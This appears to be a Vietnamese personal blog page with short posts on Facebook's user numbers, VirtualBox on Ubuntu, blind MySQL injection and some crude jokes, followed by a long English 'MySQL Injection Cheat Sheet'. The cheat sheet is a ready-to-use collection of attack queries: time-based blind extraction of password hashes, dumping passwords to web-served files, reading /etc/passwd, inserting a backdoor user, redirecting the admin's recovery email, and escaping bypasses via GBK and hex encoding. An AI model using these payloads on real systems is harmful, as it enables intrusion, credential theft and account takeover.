RSS

Home

500 triệu người đăng ký dùng phần mềm nguồn mở.

Đó là khi họ đăng ký dùng Facebook. Facebook vừa vượt ngưỡng 500 triệu user vào ngày 22/7 vừa rồi, trong khi cách đây khoảng 1 năm mới có 250 triệu người dùng. Tốc độ tăng trưởng thật đáng kinh ngạc.

Với số lượng người dùng như thế, Facebook quản lý một lượng dữ liệu khổng lồ:

  • Mỗi tháng có khoảng 630 tỉ lượt page views
  • Hơn 3 tỉ bức ảnh được tải lên Facebook hàng tháng, trung bình có 1,2 triệu bức ảnh mỗi giây
  • Hơn 25 tỉ dữ liệu về thông tin (status, comment…v.v) được chia sẻ mỗi tháng.
  • 30.000 máy chủ. (more…)
VN:F [1.9.3_1094]
Rating: 0.0/10 (0 votes cast)
VN:F [1.9.3_1094]
Rating: 0 (from 0 votes)

Sử dụng Virtualbox trong Ubuntu

Virtualbox là một phần mềm rất nhẹ (Nếu so sánh với VMWare), dễ sử dụng, hoạt động tốt trên cả Linux, OpenSolaris, và Windows
Dưới đây là các hướng dẫn sử dụng Virtualbox để cài đặt máy ảo trong ubuntu
Mình rất muốn xem tính năng Seamless Mode của Virtualbox trên ubuntu (Tính năng cho phép một màn hình 2 Panel. Khi đó máy ảo sẽ hoạt động cùng lúc với máy thật. Như là một ứng dụng trên máy thật.) nhưng tiếc là tính năng này làm màn hình hiển thị không tốt. Ngoài ra mọi thứ đều rất tuyệt vời

(more…)

VN:F [1.9.3_1094]
Rating: 0.0/10 (0 votes cast)
VN:F [1.9.3_1094]
Rating: 0 (from 0 votes)
05 August 2009 | Home | | 0 Comments   

Blind MySQL injection and database stressing

Complete with the rest of Mysql blind injection papers in the web.

Currently tools are being used to get SQL data from a blind (Microsoft) sql injection, like datathief of absinthe. The problem in Mysql is the dificulty to get the database structure. In Mysql there are no Objects database or alike, so it’s not possible to create an stored procedure to walktrough a database catalog as these programs do with other database managers.

The approach explained here is from a web service viewpoint. It’s, from a web service vulnerable to sql injection.

Current Blind SQL injection methods (more…)

VN:F [1.9.3_1094]
Rating: 0.0/10 (0 votes cast)
VN:F [1.9.3_1094]
Rating: 0 (from 0 votes)

Những mẫu chuyện vui !

Có một ông người Tàu ở Sài Gòn đi xe gắn máy vô đường cấm bị cảnh sát giao thông thổi phạt. Về nhà ổng bức xúc kể với mấy ông bạn hàng xóm : ” Pữa lay, ngộ li xe pị tằng cảnh sát giao tông nó thủi, ngộ tấp vô, ló hỏi ngộ : – Zái tò của ông lâu ? Ngộ lói ngộ hỏng có lem zái theo, chỉ có lem cái cạc thui, thế là ló pắt ngộ về l… (đồn)… zồi ló chuyển ngộ từ l…(đồn) nhỏ qua l…(đồn) lớn, tới cái l…(đồn) lớn nhứt ở ngay chung tâm tành pố đó. Ối chời ơi, pữa lay là ngày lễ, l…(đồn) nhỏ còn đỡ lông (đông), chớ l…(đồn) lớn hả, lông wá chời ! ”

Một con dơi bay về hang sau một buổi tối bay đi kiếm mồi, miệng dính đầy máu. Bọn dơi trong hang kéo nhau lại hỏi xem nó kiếm mồi ở đâu mà ngon lành quá vậy. Mệt mỏi, con dơi kia chẳng thèm trả lời. Nhưng lũ đồng loại cứ léo nhéo mãi. Bực mình, nó gắt “Bay theo tao!” Cả đàn dơi bay nghịt cả trời. Chúng bay qua không biết bao nhiêu con sông, bao nhiêu ngọn núi. Cuối cùng, đến một cái cây lớn, con dơi kia hỏi “Chúng mày thấy tản đá kia không?”. Cả đàn nhao nhao lên “Thấy! Thấy! Thấy…” Con dơi kia uể oải trả lời “tối qua tao không thấy……..!#

Bóp đi … Bóp đi…”, cô gái bán ví lanh lảnh rao. “Bóp trên 5ngàn, bóp dưới 7 ngàn, bóp bên trái bóp bên phải giá như nhau, bóp da 3 ngàn, bóp lông 5 ngàn, bóp trong 7 ngàn… Bóp đi! Bóp đi!” Một anh thanh niên lại gần hỏi: – Bóp nào là rẻ nhất? Cô gái ráo hoảnh: – Bóp em rẻ nhất!

Một đại hiệp lỡ chân sa xuống giếng , may mắn tìm đc 1 quyển bí kíp tên là ” Uất ức thần chưởng ” , hí hửng mở ra xem . Trang đầu tiên của khẩu quyết ghi : ” Muốn học võ công này thỳ fải tự thiến trước ” . Không do dự , đại hiệp rút kiếm ra . Xoẹt … xoẹt !!! Xong đâu đấy chàng giở tiếp trang thứ 2 , thì thấy 1 dòng chữ nhỏ ghỉ ” KHÔNG THIẾN CŨNG KHÔNG SAO ” . Đại hiệp liền hộc máu mà chết . ” Uất ức thần chưởng ” quả là danh bất hư truyền !!!

VN:F [1.9.3_1094]
Rating: 0.0/10 (0 votes cast)
VN:F [1.9.3_1094]
Rating: 0 (from 0 votes)
24 February 2009 | Home | , | 0 Comments   

MySQL Injection Cheat Sheet !

Basics.

SELECT * FROM login /* foobar */
SELECT * FROM login WHERE id = 1 or 1=1
SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE “%root%”

Variations.

SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1
SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 A/**/ND user L/**/IKE “%root%”

SHOW TABLES
SELECT * FROM login WHERE id = 1 or 1=1; SHOW TABLES
SELECT VERSION
SELECT * FROM login WHERE id = 1 or 1=1; SELECT VERSION()
SELECT host,user,db from mysql.db
SELECT * FROM login WHERE id = 1 or 1=1; select host,user,db from mysql.db;

Blind injection vectors.

Operators

SELECT 1 && 1;
SELECT 1 || 1;
SELECT 1 XOR 0;

Evaluate

all render TRUE or 1.
SELECT 0.1 <= 2;
SELECT 2 >= 2;
SELECT ISNULL(1/0);

Math

SELECT FLOOR(7 + (RAND() * 5));
SELECT ROUND(23.298, -1);

Misc

SELECT LENGTH(COMPRESS(REPEAT('a',1000)));
SELECT MD5(’abc’);

Benchmark

SELECT BENCHMARK(10000000,ENCODE('abc','123'));
this takes around 5 sec on a localhost

SELECT BENCHMARK(1000000,MD5(CHAR(116)))
this takes around 7 sec on a localhost

SELECT BENCHMARK(10000000,MD5(CHAR(116)))
this takes around 70 sec on a localhost

Using the timeout to check if user exists

SELECT IF( user = 'root', BENCHMARK(1000000,MD5( 'x' )),NULL) FROM login

Beware of of the N rounds, add an extra zero and it could stall or crash your
browser!

Gathering info

Table mapping

SELECT COUNT(*) FROM tablename

Field mapping

SELECT * FROM tablename WHERE user LIKE "%root%"
SELECT * FROM tablename WHERE user LIKE “%”
SELECT * FROM tablename WHERE user = ‘root’ AND id IS NOT NULL;
SELECT * FROM tablename WHERE user = ‘x’ AND id IS NULL;

User mapping

SELECT * FROM tablename WHERE email = 'user@site.com';
SELECT * FROM tablename WHERE user LIKE “%root%”
SELECT * FROM tablename WHERE user = ‘username’

Advanced SQL vectors

Writing info into files

SELECT password FROM tablename WHERE username = 'root' INTO OUTFILE
‘/path/location/on/server/www/passes.txt’

Writing info into files without single quotes: (example)

SELECT password FROM tablename WHERE username =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39)) INTO
OUTFILE CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR(
39))

Note: You must specify a new file, it may not exist! and give the correct
pathname!

The CHAR() quoteless function

SELECT * FROM login WHERE user =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))

SELECT * FROM login WHERE user = CHAR(39,97,39)

Extracting hashes

SELECT user FROM login WHERE user = 'root'
UNION SELECT IF(SUBSTRING(pass,1,1) = CHAR(97),
BENCHMARK(1000000,MD5(’x')),null) FROM login

example:

SELECT user FROM login WHERE user = 'admin'
UNION SELECT IF(SUBSTRING(passwordfield,1,1) = CHAR(97),
BENCHMARK(1000000,MD5(’x')),null) FROM login

SELECT user FROM login WHERE user = ‘admin’
UNION SELECT IF(SUBSTRING(passwordfield,1,2) = CHAR(97,97),
BENCHMARK(1000000,MD5(’x’)),null) FROM login

explaining: (passwordfield,startcharacter,selectlength)

is like: (password,1,2) this selects: ‘ab’
is like: (password,1,3) this selects: ‘abc’
is like: (password,1,4) this selects: ‘abcd’

A quoteless example:

SELECT user FROM login WHERE user =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))
UNION SELECT IF(SUBSTRING(pass,1,2) = CHAR(97,97),
BENCHMARK(1000000,MD5(CHAR(59))),null) FROM login

Possible chars: 0 to 9 – ASCII 48 to 57 ~ a to z – ASCII 97 to 122

Misc

Insert a new user into DB

INSERT INTO login SET user = 'r00t', pass = 'abc'

Retrieve /etc/passwd file, put it into a field and insert a new user

load data infile "/etc/passwd" INTO table login (profiletext, @var1) SET user =
‘r00t’, pass = ‘abc’

Then login!

Write the DB user away into tmp

SELECT host,user,password FROM user into outfile '/tmp/passwd';

Change admin e-mail, for “forgot login retrieval.”

UPDATE users set email = 'mymail@site.com' WHERE email = 'admin@site.com';

Bypassing PHP functions

(MySQL 4.1.x before 4.1.20 and 5.0.x)

Bypassing addslashes() with GBK encoding

WHERE x = 0xbf27admin 0xbf27

Bypassing mysql_real_escape_string() with BIG5 or GBK

"injection string"

the above chars are Chinese Big5

Advanced Vectors

Using an HEX encoded query to bypass escaping.

Normal:

SELECT * FROM login WHERE user = 'root'

Bypass:

SELECT * FROM login WHERE user = 0x726F6F74

Inserting a new user in SQL.

Normal:

insert into login set user = ‘root’, pass = ‘root’

Bypass:

insert into login set user = 0×726F6F74, pass = 0×726F6F74

How to determin the HEX value for injection.

SELECT HEX('root');

gives you:

726F6F74

then add:

0x

before it.
VN:F [1.9.3_1094]
Rating: 0.0/10 (0 votes cast)
VN:F [1.9.3_1094]
Rating: 0 (from 0 votes)
24 February 2009 | Home | | 0 Comments